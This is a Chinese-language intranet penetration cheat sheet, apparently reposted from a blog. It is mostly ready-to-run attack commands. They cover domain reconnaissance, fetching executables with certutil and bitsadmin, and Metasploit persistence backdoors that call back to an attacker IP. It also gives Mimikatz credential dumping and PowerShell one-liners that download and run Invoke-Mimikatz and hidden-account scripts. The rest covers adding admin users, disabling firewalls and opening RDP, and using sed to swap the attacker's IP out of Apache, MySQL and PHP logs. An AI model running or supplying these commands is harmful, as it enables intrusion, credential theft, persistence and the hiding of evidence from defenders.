首页 > 其他分享 >内网攻防技术备忘录

内网攻防技术备忘录

时间:2023-06-14 10:47:44浏览次数:44  
标签:攻防 log 技术 192.168 备忘录 var net Copy com

内网攻防技术备忘录

0x01 信息搜集

Copy
#nmap扫描实时存活的ip
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips

1.1 常用命令

Copy
arp -a 
route print 获取arp表
curl vps:8080 http连通性
nslookup www.baidu.com vps-ip
dig @vps-ip www.baidu.com 测试dns连通性
nslookup hacked.com 判断域控与DNS是否为同一主机
tracert 路由跟踪实用程序,用于确定IP数据包访问目标所采取的路径

bitsadmin /transfer n http://192.168.3.1/test.exe C:\windows\temp\test.exe
certutil.exe -urlcache -split -f http://192.168.3.1/test.exe file.exe

fuser -nv tcp 80 查看端口进程的pid
netstat -p TCP -ano DNS服务器可能开放了53端口(域控) 更新服务器可能开放了8530端口

set 查看系统的环境变量
query user || qwinsta 查看当前在线用户
rdesktop -u username ip linux连接win远程桌面

where file win查找文件是否存在
Linux下使用命令 find -name *.jsp 来查找文件位置
Windows下使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i
dir /s *.exe 查找指定目录下及子目录下没隐藏文件

ipconfig /all 查看当前是否存在域
net user 查看本机用户
net user /domain 查看域用户
net user xxxx /domain 查询域用户的权限组
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多

net view /domain 查看有几个域
net view \\dc 查看dc域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控

net time /domain 域服务器通常会作为时间服务器
(1)找不到xxx域控制器:处于工作组,不存在域
(2)发生错误,拒绝访问:存在域,不是域用户
(3)查询成功:存在域,是域用户

net config workstation 当前登录域 - 计算机名 - 用户名

systeminfo 查看系统信息
wmic process list brief 查询进程信息
tasklist /svc 显示每个进程中的服务信息
tasklist /S ip /U domain\username /P /V 查看远程计算机tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组

nltest /dclist:xx 查看域控
whoami /all 查看Mandatory Label uac级别和sid号

net share
wmic share get name,path,status 查看当前共享

cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn记录

#列出或者断开本地计算机与之连接的客户端的会话(需要管理权限)
net session[//computername][/delete]
例子:net session //momaek /delete

#查看计划任务
schtasks /query /fo LIST /v

#查看主机开机时间
net statistics workstation

dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称windows 2003
Copy
#脚本收集域信息,使用ntdsxtract提取域信息
git clone https://github.com/csababarta/ntdsxtract.git python setup.py build && python setup.py install
Copy
#使用被攻击主机CMD扫描存活ip
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
Copy
#Msf持续后门

run persistence -U -i 10 -p 10390 -r 192.168.0.108
#persistence启动项后门:反弹时间间隔是10s 端口是10390 Metasploit服务器ip是192.168.0.108

run metsvc –A
#metsvc服务后门:在C:\Users***\AppData\Local\Temp\上传三个文件:metsrv.x86.dll、metsvc-server.exe、metsvc.exe,通过服务启动,服务名为meterpreter

1.2 密码凭证获取

Mimikatz使用大全

Copy
hashdump
导出目标主机中的口令哈希值

load mimikatz
加载mimikatz模块

msv
ssp
tspkg
wdigest
获取登录密码的hash值

kerberos
获取明文密码

mimikatz_command -f samdump::hashes
另一种方式获取哈希值

mimikatz_command -f sekurlsa::searchPasswords
另一种方式获取明文密码
Copy
#Msf启用powershell
meterpreter > load powershell
meterpreter > powershell_shell
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Ps > Invoke-Mimikatz -DumpCreds

发现远程登录密码等密码 netpass.exe

下载见:https://www.nirsoft.net/utils/network_password_recovery.html

 

0x02 用户操作

Copy
#添加user
net user admin1 admin1 /add & net localgroup administrators admin1 /add
Copy
#如果不允许远程连接,修改注册表

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
Copy
#放行/开启3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

#关闭防火墙
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
Copy
#自动收集信息
1.VMIC
vmic是Windows管理工具命令行,默认情况下,win xp不允许低权限用户使用wmic,win7以上方才可以
[http://www.fuzzysecurity.com/scripts/files/wmic_info.rar](http://www.fuzzysecurity.com/scripts/files/wmic_info.rar)

2.Empire
#可查询本机用户、域组成员、密码设置时间
usemodule situational_awareness/host/winenum
Copy
#添加隐藏账户 开启sys权限cmd
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'

#添加用户并隐藏
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')

0x03 提权小结

Copy
#MSF提权模块
$use post/multi/recon/local_exploit_suggester

常用exp:

Copy
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
Copy
#linux提权辅助脚本
https://github.com/jondonas/linux-exploit-suggester-2

#windows提权辅助脚本
https://github.com/Ethancck/Windows-Exploit-Suggester

0x04 痕迹擦除

 

Copy

Copy

Apache日志:主要的日志就是access.log,error_log,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。这些都可以在httpd.conf中找到。

 

明文的Apache文件,通过正则表达式就可以搞定:

Copy
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log

 

Copy

其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。在正则表达式中有特殊的含义,所以需要用“”来进行转义。

 

MySQL日志文件:

Copy
log-error=/var/log/mysql/mysql_error.log        #错误日志
log=/var/log/mysql/mysql.log #最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log #用于备份恢复,或主从复制
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
Copy
#按条件删除部分日志内容
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log
Copy
#php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log

Linux日志清除

这个比较多,记录的也比较复杂,测试环境是 CentOS 6.3 。只把和渗透有关的文件列出来,主要在 /etc/logrotate.d/syslog 中

Copy
/var/log/maillog    
#该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统

var/log/messages
#该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格

/var/log/wtmp
#该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录

/var/run/utmp
#该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件

/var/log/xferlog
#该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。

bash_history
#这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件

一款LINUX系统攻防工具箱:https://github.com/JonGates/jon

 

标签:攻防,log,技术,192.168,备忘录,var,net,Copy,com
From: https://www.cnblogs.com/xbbth/p/17479526.html

相关文章

  • 各种音视频协议技术及特点
    IP协议网络层协议,主要负责将数据包发送给最终的目标计算机,无状态、不可靠无连接协议无状态:无状态是指IP通信双方是不同步传输数据的状态信息。所有IP数据报的发送、传输和接收都是相互独立。无连接:无连接是指IP通信双方都不长久的维持对方的任何信息。上层协议每次发送数据的......
  • 京东云端到端多媒体关键技术揭秘
    从带来更高编码效率、更好的用户体验的京享高清,到直播架构与网络演进优化,从而为用户带来更流畅的观看体验,以及运维系统的异常自动修复和高弹性的多媒体存储架构,一层一层展示出复杂而有序的多媒体技术框架。本文是对在LiveVideoStackCon2019北京的京东云技术专场的......
  • 复杂网络下多码率视频流切换关键技术
    LiveVideoStack线上分享第三季,第十二期,由京东云架构师张树军从基础出发,为大家阐述多码率视频流切换技术的原理与实现方式,并结合京东云视频云的实践,分析多码率帧对齐技术原理及其在多码率自适应切换中的具体应用。文/张树军整理/LiveVideoStack 大家好,我是来自京东云的架构师张树军......
  • WDM波分复用技术:TFF(薄膜滤波) & AWG(阵列波导光栅)介绍
    WDM(WavelengthDivisionMultiplexing)技术是通过在光纤中传输多个不同波长的光信号来扩大光纤传输带宽并提高网络传输能力的一种技术,而TFF(薄膜滤波)和AWG(阵列波导光栅)则是两种常用的WDM技术。1.TFF技术TFF(Thin-filmfilter)技术是一种常用的WDM器件技术之一,也被称为薄膜滤波技......
  • 宽带接入技术
    接入网接入网AN(AccessNetwork),它又称为本地接入网或居民接入网。接入网本身既不属于互联网的核心部分,也不属于互联网的边缘部分。接入网是从某个用户端系统到互联网中的第一个路由器(也称为边缘路由器)之间的一种网络。用户要连接到互联网,必须先连接到某个ISP(InternetService......
  • 互动协作白板与音视频实时同步技术实践
    本文整理自即构科技互动白板技术负责人陈晓聪在LiveVideoStack的线上分享,内容主要围绕白板与音视频的同步和白板的多端实时互动两个角度,深度解析即构在互动白板方面的技术探索实践。文/陈晓聪整理/LiveVideoStack大家好,我是来自即构的陈晓聪,现在主要负责互动白板的技术研发工作......
  • 火山引擎视频云:从toC到toB,如何将最好的技术开放出去
     火山引擎总经理谭待6月10日,火山引擎召开品牌发布会。在发布会上的演讲中,火山引擎总经理谭待提到要把字节跳动最好的技术开放出去,而经过抖音、西瓜等产品的千锤百炼,服务过数亿用户的火山引擎视频云产品就是其中之一。从toC到toB,火山引擎视频云可以延续哪些C端优势?如何利用这些优......
  • 机器视觉编码技术与标准进展
    正文字数:8411 阅读时长:15分钟整理自中国电信研究院新技术所机器视觉标准与应用研究部主任张园在LiveVideoStack做的线上分享。她详细介绍了VCM、DCM等标准组织机器视觉编码标准化工作最新进展、技术创新思路。文/ 张园整理/LiveVideoStack 各位LVS的小伙伴大家好,非常感谢大......
  • KCD技术分享:以SBOM为基础的云原生应用安全治理
    随着越来越多的企业和组织将他们的应用迁移到云上,云原生技术的应用部署和管理正在变得更加灵活和高效,但也相应地引入了一些新的安全风险。2023年4月15日,由云原生计算基金会(CNCF)发起,全球各国当地的CNCF大使、员工以及CNCF会员单位联合组织的KubernetesCommunityDays(KCD)技术沙......
  • 流媒体发展新趋势 p2p网络技术 p2p穿透 p2p音视频解决方案
    一、流媒体系统及其发展趋势 所谓流媒体是指用户通过网络或者特定数字信道边下载边播放多媒体数据的一种工作方式。流媒体应用的一个最大的好处是用户不需要花费很长时间将多媒体数据全部下载到本地后才能播放,而仅需将起始几秒的数据先下载到本地的缓冲区中就可以开始播放,后面收......